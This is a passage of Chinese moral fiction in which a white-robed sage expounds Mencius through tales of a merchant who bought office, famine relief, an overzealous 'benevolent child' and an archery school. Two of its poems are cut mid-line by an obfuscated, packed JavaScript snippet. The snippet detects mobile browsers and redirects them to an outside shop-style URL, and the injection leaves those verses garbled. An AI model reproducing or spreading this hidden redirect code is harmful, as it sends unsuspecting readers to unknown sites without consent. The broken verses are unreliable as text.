第四日,御史果至。然入云州境,闻“钱大夫”善举,街谈巷议皆称颂。御史暗访,见义塾中书声琅琅,养老院中叟妪安乐,又见钱百万布衣蔬食,亲为孤老盛粥,全无“犯官”之态。 是夜,白衣人现于驿馆,献《孟子》“良贵”章句于御史。御史观之,沉吟良久。 翌日,召钱百万,问:“你捐官之事,可知罪?” 钱百万伏地:“罪民知罪。然捐官非为荣身,实为…为掩出身之卑,求人一视。今知大谬,愿缴还冠带,散尽家财赎罪。” 御史叹道:“本官查你,三十年来,暗行善举百余桩,受惠者数千。此等‘良贵’,胜冠带多矣。捐官虽违法,然念你悔过真切,且善行卓著,本官当据实上奏。” 钱百万泣谢。御史临行,指庭中老槐:“守此根本,毋再缠金箔。” 四、 贵常在 事毕,钱百万果散家财之半,设“良贵堂”,专济孤贫。自去冠带,仍着布衣。郑公来访,见其怡然,奇道:“钱翁失‘贵’,何以反乐?” 钱百万笑指“良贵堂”匾:“昔求人贵,如履薄冰,战战兢兢。今守己贵,俯仰无愧,其乐融融。郑公看,此贵与彼贵,孰真?” 郑公惭然而退。 白衣人来贺,钱百万拜谢:“非先生指点,我几以虚贵弃良贵。” “你今方悟。”白衣人自怀中取一铜镜,“此镜赠你。每日对镜自问:今我所为,求人贵乎?修己贵乎?” 钱百万对镜,见镜中人不复昔日富态,然双目澄明,笑意自足。忽忆起三十年前,冬日赠袄,那乞丐眼中泪光——彼时心中暖意,与今一般无二。 “我知之矣!”钱百万恍然,“良贵不假外求,就在本心。仁义之心,人所固有,弗思耳!” “善!”白衣人拊掌,“《诗》云‘既醉以酒,既饱以德’。你今饱乎仁义,可还羡膏粱文绣否?” 钱百万大笑,命撤去华筵,但与白衣人、阿牛、李秀、刘王氏等,共坐槐下,粗茶淡饭。食罢,钱百万叹:“此饭之甘,胜往日珍馐百倍。” 是夜,白衣人于“良贵堂”前立碑,刻《孟子》全章。又题偈: “人人怀中玉, 自弃求他石。 他石可夺碎, 怀玉谁能窃? 既饱仁义德, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088194|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何羡膏粱食。 但得良贵在, 风雨不能蚀。” 阿牛不识字,问:“先生,此碑说的啥?” 白衣人笑:“说你钱爷爷怀里有宝玉,自己不知,反去求别人的石头。” 阿牛挠头:“钱爷爷的宝玉…是钱么?” “非也。”李秀温言,“是仁心。你受袄不受金,是因袄暖,金不暖。仁心如火,可暖人心,此是钱翁良贵。” 阿牛似懂非懂,却道:“那我也有宝玉!去年冬,我分半块馍给小黑,他哭了…” 满座动容。白衣人抚其首:“正是!人人皆有,弗思耳!” 尾声良贵火 钱百万寿至耄耋。临终,子孙问遗言,但指“良贵碑”,含笑而逝。葬日,云州百姓白衣相送,有受恩者千里奔丧。 郑公挽联云: “求贵时何贱,守贵日自尊。 始知仁义富,不在冕缨尊。” “良贵堂”历三百年不衰,每有主事者,必先对碑自省。有富家子捐巨资,欲求题名碑上,主事者问:“君求人贵乎?修己贵乎?”富家子赧然而退。 战乱时,堂毁碑存。饥民欲碎碑取石,有老者泣阻:“此碑在,良心在。碑碎,人心尽碎。”众乃止。 大周既亡,新朝立,有刺史欲移碑入城,是夜梦白衣人曰:“良贵在人心,碑在处,即人心在处。”刺史悟,乃重修“良贵堂”,聘大儒讲学,首课必讲“赵孟之贵与己之良贵”。 有蒙童问:“夫子,若无人知我良贵,奈何?” 夫子笑指庭灯:“此灯在昼,光而不显;在夜,则明照四方。良贵如灯,不因昼隐而失其明,不因夜显而增其光。你但修之,何患人知?” 童恍然。自此堂中学子,但问己心,不求人知。 暮年钱百万曾作《贵箴》,刻于碑阴: “余少贫,慕人贵。 及富,求人贵。 捐官得贵,反失己贵。 幸蒙棒喝,知返本真。 良贵者,仁义也,人人固有,弗思耳。 赵孟之贵,可予可夺; 己之良贵,自在胸怀。 饱乎德者,不羡膏粱; 广誉在身,何需文绣? 愿见碑者, 内求诸己, 毋外逐人。” 今碑石温润,以手抚之,似有余温。乡人说,每至寒冬,碑身自发暖,贫者倚之可御寒。 或问其故,耆老曰:“非碑暖,是人心暖。良贵如火,代代相传,不熄不灭。” 月明之夜,有白衣人影现碑前,轻抚刻字,喃喃: “人人有贵于己者,弗思耳…” “弗思耳…” 槐影摇动,如应如答。 本章诫世 一、 良贵在己 - 人人自有贵于己者(仁义之心),然多弗思,反外求 - 破解法:遇慕虚荣时,自问“我本有贵,何须外求” - 示例:钱百万本有仁义之贵,反求冠带之贵,几酿大祸 二、 赵孟之贵 - 权贵所予之贵,可予可夺,非良贵 - 惕世:多少人追逐“赵孟之贵”,而弃“己之良贵”?多少光环,不过是他人所赐,随时可被剥夺? - 反思:所重所慕,是他人评价,还是本心充实? 三、 饱德之足 - 仁义之德饱乎心,则不愿膏粱文绣 - 深层隐喻:精神富足者,不慕物欲虚荣 - 终极指向:内修良贵,外荣不足慕;内无良贵,外华不足恃 良贵偈: 显德九年云州冬,钱翁求贵入牢笼。 赵孟能贵亦能贱,白衣指月醒愚蒙。 仁义在怀即良贵,何需冠带夸豪雄? 至今碑暖寒士骨,犹说人人怀玉同。 后世叹: 大周巨贾钱百万,腰缠万贯犹不足。 捐官求贵反招祸,散财修德方是福。 赵孟之贵如朝露,己之良贵胜金玉。 寄语世间慕荣客,莫将怀璧等闲渎。 正是: 欲贵之心人所同,谁识良贵在怀中。 赵孟能贵亦能贱,仁义饱德自无穷。 膏粱文绣何足羡,令闻广誉是天工。 寄语迷途求贵者,归来反求即得通。 43. 杯水谳 楔子一车薪 大陈开明七年,江州大旱。有富户朱善仁,设粥棚施粥,日煮三石米,然灾民过万,粥清如水。有饥童捧碗泣曰:“此水胜饥否?”朱善仁叹道:“力有未逮,惭愧!” 是时,有米商刘不仁,囤粮万石,日售十石,价翻十倍。灾民咒骂,刘不仁嗤之:“朱善人日施三石,不过杯水车薪。既不能救,何必作态?不如如我,明码实价,各安天命。” 一日,朱善仁见有老妪饿毙棚前,捶胸痛哭:“吾日施粥,竟不能活一人!”愤而砸灶,欲闭棚。 忽闻棚外有人击节而歌: “杯水欲救车薪火, 不熄反怨水不胜。 今之为仁皆如此, 何怪世间不仁横?” 众视之,见一白衣人立粥棚残灶旁,斗笠面纱,木剑负背,手中正舀一瓢清水。 一、 杯水车薪 朱善仁拭泪道:“阁下讥我乎?” 白衣人倾瓢中水于地,水渗入干土,瞬即无痕:“非讥,是叹。孟子曰:‘仁之胜不仁也,犹水胜火。’然今之为仁者,犹以一杯水救一车薪之火也;不熄,则谓之水不胜火。朱公日施三石,于万人如杯水;刘不仁囤粮万石,如车薪之火。杯水浇车薪,不熄反蒸,此非水不能胜火,是水少火旺耳。” 朱善仁苦笑:“我力只此,奈何?” “杯水难灭火,然可润一苗。”白衣人指棚前饿毙老妪,“公见一人死,便砸灶闭棚,是谓‘不熄,则谓之水不胜火’。此念一生,便与不仁同流——因觉仁不能胜,索性不为。此正是‘与于不仁之甚者也,亦终必亡而已矣’。” 朱善仁悚然:“我…我岂是不仁?” “非你不仁,是灰心丧志,自绝于仁。”白衣人正色,“今江州大旱,不仁如烈火,仁者若皆如公,见火旺而弃水,则火必燎原。当思:一杯水不熄车薪,然十杯、百杯、千杯如何?若全城富户皆施三石,便是三十石、三百石,可能灭火?” 朱善仁垂首:“他人…未必愿为。” “公未劝,安知不愿?”白衣人自袖中取出一卷竹简,展之,乃《孟子》章句,“孟子此言,非责杯水,是责以杯水自足、见火不退之辈。公今有三问,可愿答否?” “请讲。” “一问:公施粥,是为救饥,还是为安心?” 朱善仁怔住。 “二问:公见一人死而砸灶,是痛生命,还是怨己无力?” 朱善仁汗出。 “三问:公若知施粥难救万人,可还施否?” 朱善仁默然良久,忽抬头:“当施!救一人是一人!” “善哉!”白衣人拊掌,“此方是真仁心。今我为公谋,可愿听?” 二、 杯水汇川 白衣人引朱善仁至江州城楼,指城中星火:“公看,此间富户百余,若皆如刘不仁,江州成焦土。然若有十户如公,每户日施三石,便是三十石,可活三千人。若有百户,便是三百石,万人得活。” 朱善仁苦笑:“谁愿从之?” “公未劝,安知不从?”白衣人下城,径至刘不仁米铺前。时值正午,购米者排长龙,有贫妇抱婴跪求:“刘老爷,赏一升米,孩将死矣…”刘不仁阖目摇扇,置之不理。 白衣人上前,掷一锭金于案:“此金,购米十石。” 刘不仁睁眼,见金足色,即命装米。白衣人却道:“且慢,此米不运走,就铺前施粥。” 刘不仁蹙眉:“我这做买卖…” “买卖是买卖,仁义是仁义。”白衣人截道,“刘掌柜囤粮万石,日售十石,余者生虫。何不日捐十石施粥?一则积德,二则去陈储新,三则…”他压低声音,“灾民积怨,如火药堆积。若有一日爆燃,掌柜万石粮,可能保命?” 刘不仁色变。白衣人续道:“今朱善人日施三石,不过杯水。掌柜若日捐十石,便是添杯。若城中富户皆捐,杯水汇流,可成小溪,可润旱田。届时灾民得活,皆感掌柜之德,岂不胜于今日千夫所指?” 刘不仁沉吟。白衣人又指那跪地贫妇:“掌柜今日舍十石,救百命,他日口碑流传,生意自通。何不为?” 刘不仁终点头:“罢,便捐十日。” 白衣人即于铺前设灶,以所购十石米并朱善仁三石,合煮大锅粥。又书“刘朱合施”幡,插于棚前。灾民闻讯而来,见粥浓米实,皆欢呼。 刘不仁初时肉痛,及见灾民叩谢,口称“刘善人”,竟觉胸中畅快,对白衣人道:“怪哉,舍米反乐。” 白衣人笑:“此谓仁心之乐,胜于守财之患。” 朱善仁见状,恍然道:“我愚矣!昔独力施粥,如杯水车薪,便生退意。今知合众力,杯水可成涓流。” “然也。”白衣人颔首,“仁胜不仁,需众仁合力。今请朱公为首,邀城中富户,共组‘合施会’,如何?” 三、 合施会 三日后,“江州合施会”成。朱善仁为会首,刘不仁副之,初有八户加入,日捐米五十石。然于数万灾民,仍不足。 有富户讥:“五十石亦杯水耳,何益?” 白衣人于会中道:“诸公可知‘杯水救火’之谬?非水不胜火,是水少耳。今五十石,可活五千人。若明日添为百石,后日二百石,火势可遏。更有一法——” 他取江州图,指四方:“灾民散处四乡,皆聚城中领粥,徒耗体力。不若分设粥棚于四门,各会户分领一棚,就近施济。又,可募少壮者以工代赈,疏河道、修义井,予粮予工,既活人,又治本。” 众皆称善。于是四门设棚,又开“以工代赈”局。不旬日,加入者三十余户,日捐米达二百石。 刘不仁忽献计:“我存粮有陈米三千石,可半价售与会中,所得银两,可购新粮,循环施济。”众讶其慷慨,刘不仁赧然:“昔为守财奴,今…今觉仁心之乐耳。” 朱善仁执其手:“刘兄此变,便是杯水汇川之始。” 然灾情日重,流民仍增。有会户气馁:“今捐三百石,犹不及刘不仁囤粮一成。此非杯水车薪乎?” 白衣人正色:“诸公!杯水救火,不在一杯之水,在持杯不辍之心。今三百石活三万人,若气馁而止,此三万人即死。更可怕者——”他环视众人,“若仁者皆因力微而退,不仁者必嚣然曰:‘看,仁不能胜!’届时人人效刘不仁囤积,江州成鬼域矣!” 众肃然。白衣人续道:“孟子谓‘此又与于不仁之甚者’,非谓不为仁,是谓因仁难胜而不为,是助不仁之气焰。今诸公但持此杯,莫问火势。一杯复一杯,代代无穷,火终有熄时。” 忽有仆来报:“不好了!东门粥棚被抢,乱民欲烧刘记米仓!” 四、 杯水不熄 众惊,往视。果见东门乱作一团,饥民砸棚抢粮,高呼:“杯水不济事,抢了活命!”刘不仁米仓前,堆积柴薪,有暴民执火把欲焚。 朱善仁欲上前,白衣人止之,径至仓前,朗声道:“诸君!此仓有米万石,若焚之,米成灰,何人得活?” 一汉子怒道:“刘不仁囤积居奇,该死!” “刘不仁昔囤积,今已捐米五百石,入合施会,日捐二十石。”白衣人指刘不仁,“人孰无过?过而能改,善莫大焉。今若焚仓,是绝万人生路,更是绝悔过者向善之心!” 又指乱民:“诸君为活命,情有可原。然抢掠焚仓,是不仁。不仁之火燃起,仁者救之,如杯水车薪。今请诸君助我,莫让此火燎原——愿以工代赈者,日予三升米;老弱妇孺,日予一升粥。如此,人人得活,何需抢掠?” 众迟疑。忽有老妪出列,乃昔日跪求刘不仁之贫妇,今抱婴泣道:“恩人!刘老爷日前赠我米,救儿命。诸位,且信白衣先生!” 又有多人出,皆近日受济者。乱民渐静。 白衣人即命开仓,半以施粥,半以工代赈。是日,东门设“劝善台”,朱善仁、刘不仁等轮值,与灾民对话,解其怨,疏其困。 三日,乱平。而“合施会”声势大振,富户增至六十,日捐米五百石。更奇者,有中产之家,日捐一升半斗,积少成多,又添百石。 白衣人于合施会堂前,立“杯水碑”,刻孟子语。又题偈: “杯水难灭车薪火, 非是水弱火强横。 但当持杯不退缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088195|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , 百川汇海火自平。 今人见难辄言弃, 此与不仁是同声。 愿君长存杯水志, 莫因力微忘征程。” 刻罢,谓朱善仁:“公今为杯水之首,然需谨记:杯水之力,在持续,在汇聚,在信水必胜火。纵一生杯水,莫生退意,便是真仁者。” 朱善仁拜受。 尾声杯水禅 开明八年,雨至,旱解。合施会不解,转为“长善堂”,专济孤寡,兴义学。朱善仁、刘不仁并为堂主,人称“江州二善”。 刘不仁临终,执朱善仁手:“兄…昔我笑杯水车薪,今知杯水不绝,可穿石、可成流。愿兄持此杯,莫让后人笑我辈愚。” 朱善仁卒年八十,遗命薄葬,省下资财充长善堂。其碑仅八字: “一杯水,一辈水,水长流。” 后三十年,江州复旱。有富户欲囤粮,长者引至杯水碑前,读孟子语。富户赧,捐粮入长善堂。是灾,江州无饿殍,传为奇迹。 有游方僧见碑,合十:“此杯水禅也。杯水虽微,愿力无穷;车薪虽炽,道心不灭。” 小沙弥问:“师父,若杯水终不灭火,奈何?” 僧指碑旁井:“你看此井,早时浅,雨时满,然水脉在地下,千年不绝。仁心如水脉,但持此杯,莫问火势。代代持杯,火终有尽时。” 是夜,白衣人影现碑前,抚偈喃喃: “杯水…车薪…” “杯水…车薪…” 忽有童子夜读至此,问父:“爹,若仁终不敌不仁,为何还要仁?” 父执子手,掬井水饮之:“儿,此水甘否?” “甘。” “你饮此水,是因信井不竭,还是因渴?” “因渴…也因信有井。” “仁亦如此。”父温言,“行仁非为必胜,是因本心要行。如渴需饮,饥需食,仁是心之需。至于胜不胜…”他指杯中水,“水入土,润根苗,苗不自知。仁入世,暖心田,何需人知?” 童恍然。父又道:“昔白衣先生说,但持此杯,莫问前程。你长大,也要持一杯水。” “若火太大呢?” “杯水不止,便是江河。” 月下,父子背影渐远。碑旁古井,水面如镜,映一天星月。 似在说: 杯水虽微,映得星河。 车薪虽炽,燃不过夜。 持杯者,持杯者。 莫停,莫歇。 本章诫世 一、 杯水车薪之谬 - 以杯水救车薪火,不熄便谓水不胜火,是因噎废食 - 破解法:仁行难见功,非仁无效,是仁力未充 - 示例:朱善仁施粥见一人死即砸灶,是“杯水逻辑”;后合众力方成流 二、 与于不仁之甚 - 因仁难胜而不为,是助不仁气焰,实同不仁 - 惕世:多少善行因“无用”而止?多少初心因“无力”而冷? - 反思:可曾以“杯水”为由,放弃“持杯”? 三、 杯水汇川之力 - 杯水不辍,可成涓滴;众杯合力,可成江河 - 深层隐喻:文明进步不在英雄壮举,在凡人持守 - 终极指向:人人持一杯水,便是人间甘霖 杯水偈: 开明七年江州旱,朱公施粥力已殚。 杯水车薪火不灭,白衣指谬醒愚狻。 合施能聚百户米,杯水可成千里湍。 至今碑畔井泉涌,犹润行人仁心丸。 后世叹: 大陈江州逢凶年,富户施粥如滴涓。 杯水难救车薪火,仁心几化嗔毒烟。 幸有白衣明孟旨,能教众善汇流泉。 寄语世间行仁者,莫因力微忘仔肩。 正是: 江州大旱如火焚,杯水车薪救不得。 灰心便与不仁伍,持志方能聚涓滴。 莫因力微忘初念,但得众擎可移山。 寄语世间行善客,杯水长流即春泉。 44. 仁熟谳 楔子美种莠 大燕咸亨三年,青州有神童方仁,三岁能诵《孝经》,七岁作《仁爱赋》,十二岁中秀才,乡里誉为“仁童”。其父方员外大喜,遍请名师,专授仁义之学,期其成一代大儒。 然仁童有一癖:凡见不仁之事,必当面叱责。见邻人杀鸡,斥其“不仁”;见童子斗蛐蛐,责其“残虐”;乃至父宴客食肉,亦摔箸离席,曰:“君子远庖厨,尔等食肉,与刍狗何异?” 客皆尴尬,方员外赧然,然宠溺其子,不以为非。 是岁乡试,方仁洋洋洒洒万言,皆论仁义,主考批“迂阔不切实务”,落第。方仁归家,闭门泣曰:“举世皆浊,我独清!”遂绝食三日。 方员外忧心如焚,忽闻门外有人作歌: “五谷虽美不熟, 不如荑稗可刈。 仁心虽善不熟, 不如市井常德。” 推门视之,见一白衣人倚梅而立,斗笠面纱,木剑负背,手中拈着一穗青稻。 一、 不熟之谷 方员外迎入,白衣人径至方仁榻前,示以青稻:“小友,识此物否?” 方仁瞥之:“稻也。” “然。”白衣人摘一粒,捻出浆汁,“此稻离熟尚早,若此时收割,可能食否?” “不可,浆未成米。” “若强食之,反伤脾胃,是也不是?” “是。” 白衣人颔首,自袖中取一束野草:“此荑稗也,乡人饲畜之物。今以此熟稗,与彼生稻,孰可充饥?” 方仁怔然:“自当是稗…然稻为美种,稗乃莠草…” “着啊!”白衣人拊掌,“孟子曰:‘五谷者,种之美者也。苟为不熟,不如荑稗。’稻虽美种,不熟则不如稗;仁虽美质,不熟则不如常德。小友,你自诩仁童,可知仁需‘熟’否?” 方仁不服:“我读圣贤书,行仁义事,如何不熟?” 白衣人笑指窗外:“你看那邻人杀鸡,是为何?” “为口腹之欲,不仁!” “然邻人杀鸡,是奉老母寿。其母年高齿摇,唯嗜鸡汁。子杀鸡奉母,是仁否?” 方仁语塞。 “再看童子斗蛐蛐,是为何?” “嬉戏残虐,不仁!” “然彼童乃孤儿,以斗蛐蛐所得,养瘫痪祖母。蛐蛐伤残,祖母得活,是仁否?” 方仁愕然。 “至于宴客食肉——”白衣人目视方员外,“令尊宴请,是为酬谢匠人修葺义塾。匠人劳累三月,肉食补力,是仁否?” 方仁汗出,犹辩:“然…然君子远庖厨…” “远庖厨,是存不忍之心,非绝肉食。”白衣人正色,“若农夫不杀牲,何以耕田?若医者不杀菌,何以活人?仁非不杀,是杀中有仁;仁非不食,是食中有悯。今小友但执仁名,不察仁实,见皮毛便叱,如刈青稻,美种成秕糠,此谓仁不熟也!” 方仁如遭棒喝,颓然卧倒。 二、 熟仁九问 白衣人出堂,对方员外道:“令郎仁种美矣,然灌溉失当。今有九问,可试其仁熟否?” 遂出题,命方仁答: 一问:老父病,需虎骨为引,杀虎否? 方仁踌躇:“杀虎不仁…然父命重…不杀!” “父死,是仁否?” 方仁泣:“不仁!” “然则?” “愿…愿杀虎救父。” “善,知权变,仁熟一分。” 二问:饥荒,有粥十碗,饥民百人,如何分? 方仁:“当均分,人一小口。” “老弱得一口,不支而死;壮者得一口,不饱亦死。均乎?” “那…当先予老弱。” “幼童亦老弱乎?壮者死,谁养老弱?” 方仁汗下:“请先生教我。” “当以粥为引,聚壮者开荒,以工代赈,老弱辅之。此谓‘授人以渔’,仁熟二分。” 三问:盗劫贫家,你擒之,贫家求情,言盗为救病母。释否? “释…然违法。” “法为惩恶,亦为扬善。若盗有仁心,惩之是绝其自新之路。当令其劳作偿债,医母养家,是仁法两全。仁熟三分。” 如是九问,方仁初时答以书本教条,渐而深思,终至涕泣:“我知矣!仁非死理,乃活水,需因时制宜,因人成事。我昔执一死仁,是青稻不熟,不如市井老妪之温厚!” 白衣人颔首:“此悟尚浅,需历事磨炼。” 三、 仁熟三炼 次日,白衣人引方仁至市井,暗观三事: 其一,见屠户宰猪,血流满地。方仁蹙眉欲斥,白衣人止之,使近观。但见屠户下刀利落,猪少痛楚,且每宰一猪,必默祷:“畜牲畜牲你莫怪,你是人间一道菜。”方仁奇之,白衣人道:“此人杀生为业,然存不忍,是仁熟于杀。” 其二,见悍妇当街殴夫,夫不敢抗。方仁欲劝,白衣人又止。俄而,夫归家,悍妇煮姜汤,为夫敷伤,泣曰:“吾惧你与邻妇勾搭,故失态。”夫叹:“我岂是此人?”遂和好。白衣人道:“此妇悍妒,然心中有爱,是仁熟于嗔。” 其三,见乞丐夺童馒头,童哭。方仁怒,白衣人仍止。但见乞丐夺后,掰半还童:“我三日未食,借你半馒,来日还你。”童止泣。白衣人道:“此丐虽夺,然存良知,是仁熟于盗。” 方仁恍然:“原来仁在百姓日用,非在书本字句!” “然也。”白衣人道,“然知仁在日用,尚需炼仁成熟。今有三炼,你敢受否?” “敢!” 一炼,白衣人命方仁入屠户家为佣,三日。方仁初畏血,渐知屠户孝母,日留精肉奉母,自食碎骨。市人有贫者,常赊肉与之。方仁悟:屠户仁在孝、在信、在悯贫。 二炼,命方仁为悍妇家担水,三日。方仁见妇虽悍,然勤织布养家,夫多病,全赖其力。妇每叱夫,实恐其劳。方仁悟:仁在悍中,如蚌含珠。 三炼,命方仁与丐同宿破庙,三日。丐名阿七,原为佃户,被夺田产,流落至此。夺童馒,是为病妻。方仁恸,倾囊助之。阿七泣:“君不嫌我,我必还报。”后果拾金不昧,寻失主还之。方仁悟:仁在困顿,不失本心。 三日毕,方仁归,形神俱疲,然目有光。白衣人问:“今知仁否?” 方仁拜:“仁在屠刀下,在悍骂中,在乞儿手。不历事,不熟仁。” “善!”白衣人道,“然此三炼,不过小熟。仁之熟,如稻之熟,需经风雨,需历四时。今有一大事,可愿为?” 四、 熟稻济世 时青州有豪绅杜霸天,强占民田,乡人敢怒不敢言。方仁愤,欲告官,白衣人止之:“杜有靠山,告无用。当以仁熟之。” 遂为方仁谋:先暗访被占田户,录其冤情。又查杜霸天家事,知其独子病弱,延医无数不愈。方仁通医理,白衣人命其扮游医,为杜子诊治。 方仁踌躇:“为恶人子医,岂非助恶?” 白衣人叹:“子有何罪?医者仁心,当普济众生。且杜之恶,半因子病心焦,若能愈其子,或可化其恶。” 方仁从之。入杜府,尽心医治,三月,杜子渐愈。杜霸天感其德,赠金百两,方仁不受,但求一见。 见时,方仁呈冤民状,泣陈:“公爱子,人亦爱子。公夺人田,人子何以活?”杜霸天初怒,及见状上血泪斑斑,又见独子倚门唤“爹”,默然良久,叹道:“我作恶多矣!” 遂召被占田户,或还田,或赔银,又开仓济贫。青州震动。 方仁问白衣人:“先生,此可谓仁熟否?” 白衣人摇头:“此不过催熟。真熟需时。你观杜霸天,还田是真心悔悟,还是畏子夭折?” 方仁不解。白衣人曰:“且观后效。” 未几,杜子病复发。杜霸天疑方仁作祟,大怒,拘方仁拷问。方仁笑:“我医子出于仁,今公疑我,是仁未熟。然公可知,子病在心,公作恶多,子心不安,故病缠绵。” 杜霸天震骇。是夜,白衣人现,道:“欲愈子病,当愈己心。”授以《感应篇》。杜霸天跪读,彻夜不眠。次日释方仁,散家财之半,设“赎罪堂”,专助冤民。其子果渐愈。 白衣人对方仁道:“今杜之仁,方见芽。然仁熟如稻,需经三灾八难。你且看——” 后三年,杜霸天力行善事,然乡人疑其伪,盗匪欺其善,官府榨其财。杜几度欲辍,方仁劝:“公,仁熟需火炼。”杜咬牙坚持,至第五年,青州大旱,杜尽散余财,活人无数,乡人始信其诚,尊为“杜善人”。 白衣人引方仁观 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方仁仍不答,但说故事:昔有侠客,仇家落井,侠客救之。仇家问:“何救我?”侠客曰:“我恨你,是私怨;救你,是公义。仁熟者,能分公私。” 童恍然。 熟仁堂前,方仁立“熟仁碑”,刻孟子语。又镌己悟: “余少称仁童,实为生稻。 见杀生则斥,遇不平则叱, 是仁不熟也。 后历市井,知仁在日用; 炼三事,知仁需磨砺; 化杜某,知仁可感通。 乃悟: 五谷不熟,不如荑稗; 仁心不熟,不如常德。 愿后来者, 莫以生稻自矜, 当以熟谷自勉。” 后三十年,青州大疫。方仁率熟仁堂弟子,施药救疾,染疫而亡。临终执弟子手:“仁…仁需熟,熟…熟在行…” 葬日,青州白衣。杜霸天已老,扶柩泣:“先生熟仁,我未熟…”乃散尽家财,建“熟仁义庄”,遗命子孙:但行善,莫问名。 白衣人曾现熟仁堂,抚碑叹: “仁如种,需时熟; 熟非终,是生生。 但得此心常熟, 何惧世事荒芜?” 后百年,熟仁堂圮,碑独存。有饥者倚碑,见碑文“熟”字,忽悟:仁需熟,如谷需时,急不得,弃不得。遂起身觅食,拾穗而种,岁余成田,复建“熟仁社”,收留孤老,课授童子。 社中训条首则: “莫以仁自矜,当以熟自勉。” 本章诫世 一、 仁需熟 - 五谷不熟不如荑稗,仁心不熟不如常德 - 破解法:莫执仁名,当求仁实;莫急求成,当待熟时 - 示例:方仁初为“仁童”,实则生稻;后历事磨炼,方成熟谷 二、 熟仁三阶 - 一阶:知仁在日用,非在书本 - 二阶:炼仁在事中,经权达变 - 三阶:仁熟于心,生生不息 - 惕世:多少人以“仁”自居,实则生硬迂阔,伤人而不自知? 三、 熟非终点 - 仁熟一分,行一分;熟十分,行十分 - 深层隐喻:德行如农事,需耕耘,需时月,需耐心 - 终极指向:但行仁,莫问熟;但问耕耘,莫问收获 熟仁偈: 咸亨三年青州冬,方童称仁实稚蒙。 生稻不如熟荑稗,白衣开示启愚衷。 市井三炼仁方熟,稻熟方堪济世穷。 至今碑前春草绿,犹说仁心待岁丰。 后世叹: 大燕神童方家子,仁名早著性偏迂。 斥人杀鸡为不仁,自命清高与众疏。 幸遇白衣明熟理,能教生稻成嘉株。 寄语世间抱仁者,莫将未熟作玑珠。 正是: 五谷虽美不熟,不如荑稗可刈。 仁心虽善不熟,不如市井常义。 方童初执死理,白衣指以活谛。 仁在屠刀悍骂,亦在乞儿泪涕。 熟仁需经三炼,熟稻可济苍黎。 寄语天下仁者,莫把生禾自诩。 45. 规矩谳 楔子羿门射 大宋淳化五年,江陵有“羿门射圃”,馆主名后胜,自称后羿后人,授射技。其法特异:不教引弓搭箭,但令弟子每日对靶静坐,谓之“养箭心”。有弟子问:“不习射,何以中靶?”后胜答:“心至箭至,何需形式?” 是年秋,江陵办“射魁会”,羿门十弟子参赛,皆脱靶。观者哗笑。有老射手讥:“无规无矩,何谈射艺?”后胜不服:“尔等拘泥形式,焉知神射在神不在形!” 正争论间,忽闻场外有人作歌: “羿教射必志于彀, 大匠诲人以规矩。 今有羿门弃规矩, 却笑他人守拙愚。” 众视之,见一白衣人立柳下,斗笠面纱,木剑负背,手中捻着一根柳枝。 一、 志于彀 后胜不悦:“阁下何人?敢议我门?” 白衣人步入场中,以柳枝为弓,虚引作射状:“山人无姓,但闻孟子有言:‘羿之教人射,必志于彀,学者亦必志于彀。’敢问馆主,何为彀?” 后胜语塞。白衣人自答:“彀者,弓满也。弓不满,箭不远;力不达,的不中。羿教射,必令学者志在引满弓,此是规矩。今馆主教人‘养心’,却不教引弓,是弃规矩而谈神射,岂非空中楼阁?” 有弟子问:“然馆主言,心至箭至…” “心至箭至,需以规矩为阶。”白衣人截道,“譬如登楼,心欲至顶,需拾级而上。若弃阶梯,但言‘心至身至’,是欺是妄。射艺有规矩:站如松,握如磐,引如月,放如电。此规矩,是千百年射手心血所凝,如大匠之规尺。弃规矩而求神射,如弃舟楫而渡沧海,必溺无疑。” 后胜强辩:“规矩拘人,难得神髓!” “非也。”白衣人取一弓,引满,松弦,弓鸣如雷,“规矩非拘人,是助人。羿之规矩,是引弓之法;大匠规矩,是制器之度。学者循规蹈矩,方得自由。譬如孩童学步,先扶墙,后独行。馆主令弟子弃墙学走,是爱之,是害之?” 众弟子默然。白衣人又道:“今我立一规,馆主可敢试?” “何规?” “你我各教一童,十日为期。我教规矩,你教‘养心’,十日后来此比射,中的多者胜。” 后胜傲然:“有何不敢!” 二、 规矩传 白衣人选一童,名阿拙,年十二,从未习射。后胜选一童,名阿敏,同岁。 首日,白衣人教阿拙站姿:两脚同肩宽,身如松。阿拙摇摇欲倒,白衣人折柳枝为尺,量其足距,以白粉画地,令其立其中。阿拙苦,白衣人正色:“无此规矩,箭出必偏。忍之。” 后胜教阿敏:闭目对靶,想象箭中红心。阿敏坐半日,昏昏欲睡。 次日,白衣人教握弓:虎口对弓脊,三指扣弦。以布条缚阿拙手,令成固定手势。阿拙手酸欲泣,白衣人曰:“大匠制器,以规矩为绳墨。今缚尔手,是令规矩入骨。” 后胜仍教阿敏“观靶心”,阿敏不耐:“先生,何时实射?” “心未静,射无益。” 三日,白衣人教引弓:臂平,弦贴颊,目凝一点。以线悬石,系阿拙肘,令其持弓平举。阿拙颤如秋叶,白衣人曰:“羿射九日,非一日之功。忍此规矩,方有来日。” 后胜见阿敏焦躁,始令其执弓,然不教姿势,但曰:“随心而射。”阿敏乱射,箭落足前。 至五日,阿拙可立定、握稳、引平,然未发一箭。阿敏已射百箭,无一中靶,臂肿如藕。 十日之期至,射场人山人海。后胜傲然:“吾徒已得箭心,必中!”白衣人但笑。 